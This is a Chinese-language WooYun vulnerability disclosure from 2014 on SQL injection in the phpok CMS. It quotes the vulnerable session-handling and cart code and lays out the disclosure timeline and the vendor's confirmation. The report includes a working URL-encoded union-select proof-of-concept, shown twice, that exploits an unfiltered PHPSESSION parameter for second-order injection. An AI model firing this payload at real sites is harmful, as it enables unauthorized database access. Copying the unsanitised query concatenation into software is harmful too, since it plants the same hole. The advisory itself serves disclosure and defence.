当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084090

漏洞标题:phpok 最新版sql注入打包

相关厂商:phpok.com

漏洞作者: 路人甲

提交时间:2014-11-21 13:00

修复时间:2015-02-19 13:02

公开时间:2015-02-19 13:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-21: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向第三方安全合作伙伴开放
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-19: 细节向公众公开

简要描述:

RT

详细说明:

网站在初始化的时候会装载一些资源引擎,其中装载了一个session_file.php,用于初始化session

文件framework/engine/session/file.php:
function __construct($config)
{
if(!$config || !is_array($config))
{
$config["id"] = "PHPSESSID";
$config["path"] = "./data/session/";
$config["timeout"] = 3600;
}
$this->config($config);
$sid = $config["id"] ? $config["id"] : "PHPSESSION";
session_name($sid);
$this->sid = $sid;
$session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : "");
if($session_id)
{
session_id($session_id);
$this->sessid = $session_id;
}
else
{
$this->sessid = session_id();
}
session_save_path($config["path"]);
$this->config = $config;
$this->timeout = $config["timeout"] ? $config["timeout"] : 600;
session_cache_expire(intval($this->timeout)/60);
session_cache_limiter('public');
session_start();
}


$session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : "");
这里$session_id 直接从get或者post中获取,没有进行任何过滤.
$this->sessid = $session_id;
然后保存$session_id。
再看文件framework/www/cart_control.php:

function __construct()
{
parent::control();
//取得当前的购物车ID
$this->cart_id = $this->model('cart')->cart_id($this->session->sessid(),$_SESSION['user_id']);
}


这里调用了一个cart_id的方法,其中第一个参数 就是$this->session->sessid()

function sessid($sid="")
{
if($sid) $this->sessid = $sid;
return $this->sessid;
}


可以看到 $this->session->sessid() 实际上就是之前的$session_id值。
再看方法cart_id

function cart_id($sessid,$uid=0)
{
if(!$sessid) return false;
$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'";
$rs = $this->db->get_one($sql);
if(!$rs)
{
$array = array('session_id'=>$sessid,'user_id'=>$uid,'addtime'=>$this->time);
$id = $this->db->insert_array($array,'cart');
}
else
{
$id = $rs['id'];
}
//如果已经是会员
if($uid)
{
$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE user_id='".$uid."'";
$rs = $this->db->get_one($sql);
if($rs && $rs['id'] != $id)
{
//合并购物产品信息
$this->cart_merge($rs['id'],$id);
//删除旧的购物车信息
$this->delete($rs['id']);
}
//更新购物车属性
$sql = "UPDATE ".$this->db->prefix."cart SET user_id='".$uid."' WHERE id='".$id."'";
$this->db->query($sql);
}
return $id;
}


$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'"; 这里直接将$sessid带入到sql语句中直接,再未开启GPC的情况下,可以实现sql注入。但这里面没有回显,报错也被关闭了,可以利用时间盲注。当然我们还可以利用二次注入,且看下面:
在cart_control.php中:

function index_f()
{
//取得购物车产品列表
$rslist = $this->model('cart')->get_all($this->cart_id);
}
function checkout_f()
{
//echo "<pre>".print_r($this->site,true)."</pre>";
$rslist = $this->model('cart')->get_all($this->cart_id);
}


这些方法中都用了$this->model('cart')->get_all($this->cart_id);

function get_all($cart_id)
{
if(!$cart_id) return false;
$sql = "SELECT * FROM ".$this->db->prefix."cart_product WHERE cart_id='".$cart_id."'";
$rslist = $this->db->get_all($sql);
if(!$rslist) return false;
foreach($rslist AS $key=>$value)
{
//如果未指定tid,跳过
if(!$value['tid']) continue;
$arc_rs = $this->call->phpok("_arc",array("id"=>$value['tid']));
if($arc_rs)
{
$value = array_merge($arc_rs,$value);
$rslist[$key] = $value;
}
}
return $rslist;
}


可以看到cart_id带入到了sql语句中,这样二次注入就可以实现了
poc:index.php?c=cart&PHPSESSION=%27%20union%20select%20%27%5C%27%20union%20select%201%2C2%2C3%2Cuser%28%29%2C5%2Cdatabase%28%29%2C7%23%27%23

BaiduHi_2014-11-21_12-33-14.png


同样的漏洞还出现在 order_control.php:

class order_control extends phpok_control
{
function __construct()
{
parent::control();
//取得当前的购物车ID
$this->cart_id = $this->model('cart')->cart_id($this->session->sessid(),$_SESSION['user_id']);
}//这里同样的错误,直接带入数据库了 和前面一样的道理

function create_f()
{
$rslist = $this->model('cart')->get_all($this->cart_id);//这里可以执行二次注入


漏洞证明:

poc:index.php?c=cart&PHPSESSION=%27%20union%20select%20%27%5C%27%20union%20select%201%2C2%2C3%2Cuser%28%29%2C5%2Cdatabase%28%29%2C7%23%27%23

BaiduHi_2014-11-21_12-33-14.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-21 13:25

厂商回复:

狂汗啊,这也能找到,又得补洞了!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-22 02:32 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    我的天!我昨天也提交了,现在都还没审,估计重复啦

  2. 2014-12-11 15:05 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    好厉害

  3. 2014-12-16 10:17 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)

    值得学习